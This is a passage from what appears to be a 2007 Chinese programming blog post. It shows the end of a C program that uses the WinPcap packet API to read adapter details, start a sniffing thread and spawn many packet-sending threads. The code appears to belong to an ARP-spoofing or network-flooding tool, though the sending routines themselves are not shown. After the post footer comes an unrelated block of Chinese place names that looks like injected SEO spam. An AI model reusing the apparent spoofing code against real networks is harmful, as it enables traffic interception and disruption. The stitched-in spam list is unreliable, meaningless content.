              if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
              {
                  sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
                  printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

                  sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
                  printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

                  sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
                  printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
                  myip=ntohl(sin.sin_addr.s_addr);

                  printf("[MACAddress:]");
              }
              else
              {
                  printf("\nNot get enough data\n");
                  PacketFreePacket(lppackets);
                  PacketCloseAdapter(lpadapter);
                  return -1;
              }

              if((lppackets=PacketAllocatePacket())==FALSE)
              {
                  printf("PacketAllocatePacket send Error: %d\n",GetLastError());
                  return -1;
              }

              rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
              Sleep(300);

              if(getmine())
              {
                  PacketFreePacket(lppackets);
                  PacketFreePacket(lppacketr);

                  PacketCloseAdapter(lpadapter);
                  return -1;
              }
              Sleep(300);

              if((opti==1) || (opti==2))
              {
                  for(i=0;i<total;i++)
                  {
                      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
                      Sleep(30);
                  }
                  Sleep(1000);
              }
              else if((opti==3) || (opti==4))
              {
                  sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
                  Sleep(300);
                  CloseHandle(sthread);

                  sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
              }

              WaitForSingleObject(sthread,INFINITE);
              CloseHandle(sthread);
              CloseHandle(rthread);

              if(PacketGetStats(lpadapter,&stat)==FALSE)
              {
                  printf("Warning: Unable to get the adapter stat\n");
              }
              else
              {
                  printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
              }
              PacketFreePacket(lppackets);
              PacketFreePacket(lppacketr);

              PacketCloseAdapter(lpadapter);

              return 0;
          }
          posted on 2007-11-21 09:59 smildlzj 閱讀(194) 評論(0)  編輯  收藏 所屬分類: C&C++
          主站蜘蛛池模板: 乐清市| 阳高县| 玉门市| 海阳市| 金平| 清水县| 蕲春县| 芒康县| 开封县| 漳浦县| 宁德市| 冷水江市| 溆浦县| 武陟县| 舟山市| 虹口区| 绍兴县| 金塔县| 平原县| 米泉市| 宜丰县| 吴忠市| 平湖市| 科尔| 栾城县| 沙坪坝区| 房产| 阳谷县| 浦北县| 页游| 金门县| 陆川县| 大渡口区| 融水| 唐海县| 华阴市| 加查县| 江门市| 三门峡市| 吕梁市| 隆尧县|